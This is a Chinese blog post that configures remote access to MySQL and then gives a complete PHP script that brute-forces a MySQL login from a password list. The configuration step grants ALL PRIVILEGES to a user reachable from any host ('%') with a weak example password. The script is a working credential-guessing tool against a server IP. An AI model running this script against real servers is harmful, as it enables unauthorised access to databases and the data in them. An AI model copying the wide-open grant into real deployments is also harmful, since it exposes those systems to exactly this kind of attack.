0x1. 配置mysql
可以看到,如果不设置远程访问,只能自己本地可以访问自己的mysql。
所以要增加一个user,使所有host都可以访问。
用户名为xxoo
,密码为asdf1234
,建议别增加root用户名的。GRANT ALL PRIVILEGES ON *.* TO 'xxoo'@'%' IDENTIFIED BY 'asdf1234' WITH GRANT OPTION;
再select一下,可以发现多了一个xxoo用户,host为%,设置好了过后。就可以远程连接了。
连接测试,ok,可以连接的。
语法为:mysql.exe -u 用户名 -h host -p
0x2. 爆破脚本
php版本
<?phpset_time_limit(0);error_reporting(E_ERROR);if($argc!=2){ print_r('================================================================================Usage: php '.$argv[0].' host passfileshost: (ip/hostname)passfiles: password filesExample: php '.$argv[0].' localhost C:\pass.txt================================================================================');die;}$file=$argv[1];$user="xxoo"; $password=file($file); echo $host;for($i=0;$i<count($password);$i++){ $pass=str_replace("\r\n","",$password[$i]); echo $pass."\r\n"; connect($user,$pass); flush();}if($errno==0) echo "crack failed";function connect($user,$pass){ global $errno; $conn=@mysql_connect("xx.xx.xx.xx",$user,$pass); if($conn) { $errno=1; echo $host."crack success,pass: ".$pass; die; } else $errno=0;}?>
0x3. 测试环境
系统:云服务器(win server 2008)
mysql版本:5.5.8
0x4. 总结
mysql环境配置问题一般有:
防火墙
远程访问权限
密码
已有 730 位网友参与,快来吐槽:
发表评论